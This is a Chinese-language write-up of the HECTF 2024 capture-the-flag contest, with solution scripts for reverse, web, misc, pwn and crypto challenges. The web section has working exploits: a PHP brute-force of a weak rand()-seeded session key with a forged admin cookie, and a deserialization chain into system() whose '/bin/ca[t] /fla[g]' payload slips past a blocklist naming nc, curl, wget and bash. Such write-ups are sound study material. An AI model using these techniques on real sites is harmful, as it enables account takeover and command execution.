LOADING

加载过慢请开启缓存 浏览器默认开启

2024HECTF题解

2024/12/16

ID:songhahaha

校外排名:9

解出题目数量:17

REVERSE

PE?py?

首先用pyinstxtractor解包程序,然后得到key为Have_a_cup_of_tea_together。

然后是一个XTEA加密,附上脚本

#include <iostream>
#include <stdint.h>
#include <cstring>

void xtea_decrypt(uint32_t *v, const uint32_t *key, unsigned int num_rounds = 32, uint32_t delta = 1640531527,int cc=0) {
    uint32_t sum = -1*delta * num_rounds;  // 初始化 sum
    uint32_t v0 = v[cc], v1 = v[cc+1];
    
    for (unsigned int i = 0; i < num_rounds; ++i) {
        // 逆向的解密过程
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum += delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    
    v[cc] = v0;
    v[cc+1] = v1;
}

int main() {
    // 密文 v[] 和密钥 key[](已经按照小端格式转换)
    uint32_t v[] = {
        0xdf596194,
        0x2cfe74d6,
        0x1355ae4d,
        0xb6717a87,
        0xf27bb57b,
        0x08d436c5,
        0xc5c8e1af,
        0x0a85bd8f,
        0x19a70032,
        0x400cfef4,
        0xaf02e1fc,
        0xcdedcfb4,
    };
    
    uint32_t key[] = {
        0x54434548,
        0x32303246,
        0x69617734,
        0x756f7974,
    };
    
    // 调用 XTEA 解密函数
    for(int i=0;i<=10;i+=2){
        
        xtea_decrypt(v, key, 32, 1640531527,i);
    }
    
    // 输出解密后的结果
    std::cout << "Decrypted v[] = { ";
    for (int i = 0; i < 12; ++i) {
        std::cout << "0x" << std::hex << v[i] << " ";
    }
    std::cout << "}" << std::endl;
    
    // 将解密后的 uint32_t 数组转换为字节数组(可用于查看明文)
    unsigned char decrypted[48];
    for (int i = 0; i < 11; ++i) {
        decrypted[i * 4] = (v[i] & 0xFF);
        decrypted[i * 4 + 1] = (v[i] >> 8);
        decrypted[i * 4 + 2] = (v[i] >> 16);
        decrypted[i * 4 + 3] = (v[i] >> 24) ;
    }
    
    // 打印明文(解密后的字节数组)
    std::cout << "Decrypted text: ";
    for (int i = 0; i < 48; ++i) {
        std::cout << decrypted[i];
    }
    std::cout << std::endl;
    
    return 0;
}
//HECTF{58de01fc-af6b-8cf6-e8ca-db5964ce0b1e}

easyree

先DIE查壳,是UPX,然后010修改一下,把CTF全改成UPX,解包。

之后就是简单的操作逻辑

image-20241209195238427

后面让我猜xor是多少,很简单,由于{在前面未加密,HECTF{,第六位就是{号,根据这个反推xor。

102=126^k

k为24

最后逆向

text = "PNMER{Es_1h_i0_1elxlzoq1lf}"
tot = 8
result = ""

for c in text:
    if 'A' <= c <= 'Z':
        decrypted = chr((ord(c) - ord('A') - tot) % 26 + ord('A'))
        result += decrypted
        tot += 1
    elif 'a' <= c <= 'z':
        decrypted = chr((ord(c) - ord('a') - tot) % 26 + ord('a'))
        result += decrypted
        tot += 1
    else:
        result += c

print(result)

HECTF{Re_1s_s0_1nterest1ng}

babyre

观察发现简单异或再加上存在base64换表

dword_55E024F47020 = [81, 67, 84, 67, 85, 66, 90, 118, 79, 70, 72, 115, 92, 70, 125, 107, 78, 80, 85, 104, 81, 85, 125, 62, 69, 93, 67, 103, 69, 62, 59, 61, 71, 73, 83, 32, 84, 89, 67, 96, 64, 95, 73, 126, 69, 56, 117, 56, 71, 124, 37, 41, 90, 125, 89, 99, 95, 70, 87, 56, 95, 66, 121, 40]
baset = [121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 43, 47, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120]

for i in baset:
    print(chr(i), end='')
print()

def reverse_string(v6, length):
    original = []
    for i in range(length):
        original_char = v6[i] ^ (i // 3)
        original.append(chr(original_char))
    return ''.join(original)

original_data = reverse_string(dword_55E024F47020, len(dword_55E024F47020))
print("Recovered original data:", original_data)

之后直接换表就行

image-20241207235022552

littleasm

汇编。重点在encrypt_loop。

先flag[i]^key[(i+2)%3],再+0x2c

flag[i+1]^key[(i+1)%3]再+0x8

flag[i+2]^key[(i)%3]再+0xc

最后i+3

data = [0x6a,0x28,0x3d,0x4e,0x2b,0x5,0x63,0x1e,0xd,0x73,0x10,0x1c,0x73,0x24,0x21,0x73,0x5e,0x21,0x31,0x5d,0x21,0x3f,0xc,0xd,0x6d,0x4c,0x3]
key = "rev"
for i in range(0,len(data),3):
    data[i]-=0x2c
    data[i] = data[i] ^ ord(key[(i+2)%3])
    data[i+1]-=0x08
    data[i+1] = data[i+1] ^ ord(key[(i+1)%3])
    data[i+2]^=0x0c
    data[i+2] = data[i+2] ^ ord(key[(i)%3])
for i in data:
    print(chr(i&0xff),end='')
    #HECTF{Ass1mb1y_13_s0_eas7!}

WEB

ezWeb

先是几个比较和一个md5(猜一猜就能猜到),可以如图构造image-20241208194857546

然后用脚本爆破:

<?php
error_reporting(0);

// 假设我们已经有了加密数据 session 和目标文件路径
$session = "WqkTPgBeDT1U0xQRA4FUT16V+oides2+++hJEj4+kAAF9j148bj+fFB0fZkzESi4Kh99v/W8XieFk+WjBNIHBfxHXLC8pJjDqpqXeVqIbs4p9rDMPSMrD9Q0qKzwgwmO";
$min_seed = 1e5;    // 最小种子值
$max_seed = 1e7;  // 最大种子值

// session_decrypt 函数
function session_decrypt($session, $key) {
    $data = base64_decode($session);
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = substr($data, 0, $iv_size);
    $enc = substr($data, $iv_size);
    return openssl_decrypt($enc, $method, $key, 1, $iv);
}

// 判断字符串是否全为可打印字符
function is_printable($string) {
    return ctype_print($string);  // 如果字符串只包含可打印字符,返回 true
}

// 爆破过程:逐个尝试不同的种子
for ($seed = $min_seed; $seed <= $max_seed; $seed++) {
    mt_srand($seed);  // 设置种子
    $key = rand();    // 生成密钥

    // 解密数据
    $decrypted_data = session_decrypt($session, $key);

    // 仅在解密结果为可打印字符时输出
    if ($decrypted_data !== false && is_printable($decrypted_data)) {
        echo "Found key: $key\n";
        echo "Decrypted data: $decrypted_data\n";
        //break;  // 找到合适的密钥后退出循环
    }
}
?>

然后再把guest改成admin再加密回去。

<?php
function session_decrypt($session, $key) {
    $data = base64_decode($session);
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = substr($data, 0, $iv_size);
    $enc = substr($data, $iv_size);
    return openssl_decrypt($enc, $method, $key, OPENSSL_RAW_DATA, $iv);
}

function session_encrypt($data, $key) {
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = openssl_random_pseudo_bytes($iv_size);
    $enc = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv . $enc);
}

$key = 1342482596;
$session = "8U6lUzvnyh/FxHVcG69RWfxdTfu99IUUJ9sVpXKvmbDWry//M3vkV6WdXZ9aIUDg3RIJ4eybxwvxvg/1O0vSqLxUsxbZ+K09rsw5Tl0sl72hhwsn6TbT3YIWtJ5eMuQU";

// 解密数据
$decrypted_data = session_decrypt($session, $key);
echo "解密后的数据:\n";
echo $decrypted_data . "\n";

// 重新加密数据
$decrypted_data = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}';
$encrypted_session = session_encrypt($decrypted_data, $key);
echo "重新加密后的数据:\n";
echo $encrypted_session . "\n";
?>

然后重新提交即可得到flag

image-20241208195030780

Are u happy

已知flag为HECTF开头,那么只需要把HECTF进行base64编码就能找到base64头,搜一下SEVD就能迅速找到。

image-20241207191331253

baby_unserialize

反序列化。附上脚本

<?php
class User{
    public $name;
    public $passwd;
    public $msg;
    public $token ;
    public function __construct($name,$passwd){
        $this->name = $name;
        $this->passwd = $passwd;
        $this->token = "admin";
    }



    public function __destruct(){
        if(!$this->check()){
            exit(0);
        }else{
            echo $this->msg;
        }
    }

    public function check(){
        if ($this->token === "admin"){
            return true;
        }else{
            return false;
        }
    }

}

class class00{
    public function __call($a,$b){
        return 1;
    }
    public function __set($a, $b){
        $b();
    }

}


class class01{
    public $temp = 0;
    public $str3;
    public $cls;

    public function __tostring(){
        $this->temp = $this->cls->func1();
        if ($this->temp === 1){
            $this->cls->str1 = $this->str3;
        }else{
            echo "0";
            return "0";
        }

        return "have fun";
    }
}

class class02{
    public $payload;
    public function __invoke(){
        if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
            system($this->payload." >/dev/null 2>&1");
        }else{
            die("fuck you Hacker");
        }
    }
}

// 构造class00对象,用于触发__set方法
$class00 = new class00();

// 构造class01对象,使其cls属性指向class00对象
$class01 = new class01();
$class01->cls = $class00;


// 构造class02对象,用于执行命令
$class02 = new class02();
$class02->payload = "/bin/ca[t] /fla[g] #"; // 假设flag文件存在且可读
$class01->str3=$class02;
// 构造User对象,使其msg属性包含class01对象,这样在__destruct方法中会触发class01的__tostring方法
$user = new User("admin","admin");
$user->msg = $class01;

// 序列化User对象
$serializedUser = serialize($user);

// 发送POST请求,包含序列化的User对象
echo ($serializedUser);
?>

然后改一下出来的,改成

O:4:"User":5:{s:4:"name";s:5:"admin";s:6:"passwd";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:20:"/bin/ca[t] /fla[g] #";}s:3:"cls";O:7:"class00":0:{}}s:5:"token";s:5:"admin";}

最后base64编码一下交上去就行

image-20241208215732549

MISC

快来反馈吧!!

填问卷就行。

Rem_You

foremost分离图片,然后把二维码拼出来

image-20241208101138719

JBCUGVCGPN2VMM3YPBRTOUZYNF4UETSUPB2GM6DWKBZE6N2SIZCTGZ2MOBZG6OLBGNAVOMSLKB6Q====

然后base32解密

HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP}

恶势力的仓库

流量分析发现这是在攻击一个网站然后下载网站上的文件的过程。

拿到抓下来的机密文件.7z,发现有密码。

联想到image-20241207170932383

Although there is nothing here, I still have a hint prepared for you: perhaps you’ve seen the password before!!!

密码就在login那里,image-20241207171031664

登陆成功的密码是miscgod!(注意base64要去掉前三位后反转,这是分析前面的源码得到的)

顺利解压拿到excel,改成zip后辍之后找到一个sheet1.xml体积过于巨大。打开之后一堆0和1,写一个脚本生成二维码。附上脚本

import xml.etree.ElementTree as ET
import qrcode

tree = ET.parse('sheet1.xml')
root = tree.getroot()

namespaces = {
    'main': 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'
}

values = []
for cell in root.findall('.//main:c', namespaces):
    value = cell.find('main:v', namespaces)
    if value is not None:
        values.append(value.text)

data = ''.join(values)
print(f"提取的数据为:{data}")

from PIL import Image
from zlib import *

MAX = 200 
pic = Image.new("RGB",(MAX,MAX))
str =data
i=0
for y in range(0,MAX):
    for x in range(0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

flag

funny

发现图片关键词JK FUN。找到商场

fc95d64f5b7343e22d3104e2b431370

以商场周边的广场和水为线索,找到最终位置为

HECTF{北京市-西城区-西外文化休闲广场-京城水系慈禧水道}

2024HECTF俺来了!!!

关注公众号发消息

简单的压缩包

密码经过字典爆破:np76_

一张图片,用foremost分离一下,拿到zip。

写一个解密脚本解密。

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
def decrypt(key, iv, encrypted_data):
    encrypted_data_bytes = binascii.a2b_hex(encrypted_data)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(encrypted_data_bytes), 16)
    return decrypted_data
with open("zip2.zip", "rb") as f:
    encrypted_content = f.read()
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
decrypted_content = decrypt(key, iv, encrypted_content)
with open("decrypted_oringe.zip", "wb") as f:
    f.write(decrypted_content)

顺利拿到flag

PWN

sign in

IDA分析,发现第一次先随便输一个长度小于8的,第二次输入HECTF2024!,拿到shell,之后只需要

cat flag 1>&2

把标准输出流写入到错误流里边,因为前边关闭了标准输出流

CRYPTO

迷茫的艾米莉

Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr

先是栅栏密码解密,栏目数为6

YIUIT{P0fo2bb51lbbmew_0f_rczav9_jv}

然后是维吉尼亚密码,密钥responsibility

HECTF{C0ng2at51ations_0n_comin9_in}

seven more

e与p-1,q-1不互素情况

import libnum
from Crypto.Util.number import *
import itertools
e = 1009 * 7
n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687

enc = c
N = p*q


def get_oneroot(p, e):
    while True:
        Zp = Zmod(p)
        g = Zp.random_element()
        g = g ^ ((p-1) // e)
        for mult in divisors(e):
            if (mult != e):
                g2 = g ^ mult
                if (g2 == 1):
                    break
        else:
            return g


def decrypt(p, c, e):
    w = gcd(e, p-1)
    e1, p1 = e // w, (p-1) // w
    d = inverse_mod(e1, p1)
    c1 = pow(c, d, p)
    g, a, b = xgcd(p1, w)
    g = get_oneroot(p, w)
    m = pow(c1, b, p)
    return [ZZ(m * g ^ i) for i in range(w)]


mp_list = decrypt(p, enc, e)
print('Find root p OK')
mq_list = decrypt(q, enc, e)
print('Find root q OK')
for mp, mq in itertools.product(mp_list, mq_list):
    m = crt([mp, mq], [p, q])
    msg = long_to_bytes(int(m))
    if (b'HECTF' in msg):
        print(msg)

翻一翻

https://kt.gy/blog/2015/10/asis-2015-finals-rsasr/,改一下python3。

from Crypto.Util.number import long_to_bytes, inverse
import sys

sys.setrecursionlimit(1500)

n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
e = 65537  # 公钥指数
# n = 6528060431134312098979986223024580864611046696815854430382374273411300418237131352745191078493977589108885811759425485490763751348287769344905469074809576433677010568815441304709680418296164156409562517530459274464091661561004894449297362571476259873657346997681362092440259333170797190642839587892066761627543


def t(a, b, k):
    # sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
    if k == 77:
        if a * b == n:
            print("找到素数对:")
            print(f"a = {a}")
            print(f"b = {b}")
            return
    for i in range(10):
        for j in range(10):
            # We try to guess the last not-already-guessed digits of both primes
            a1 = a + i * (10 ** k) + j * (10 ** (154 - k))
            b1 = b + j * (10 ** k) + i * (10 ** (154 - k))
            if a1 * b1 > n:
                # a1 and b1 are too large
                continue
            if (a1 + (10 ** (154 - k))) * (b1 + (10 ** (154 - k))) < n:
                # a1 and b1 are too small
                continue
            if (a1 * b1) % (10 ** (k + 1)) != n % (10 ** (k + 1)):
                # The last digits of a1 * b1 (which won't change later) doesn't match n
                continue
            # this a1 and b1 seem to be a possible match, try to guess remaining digits
            t(a1, b1, k + 1)


# The primes have an odd number of digits (155), so we try all possible middle digits
# (it simplifies the code)
for i in range(10):
    t(i * (10 ** 77), i * (10 ** 77), 0)

后续正常rsa解密即可。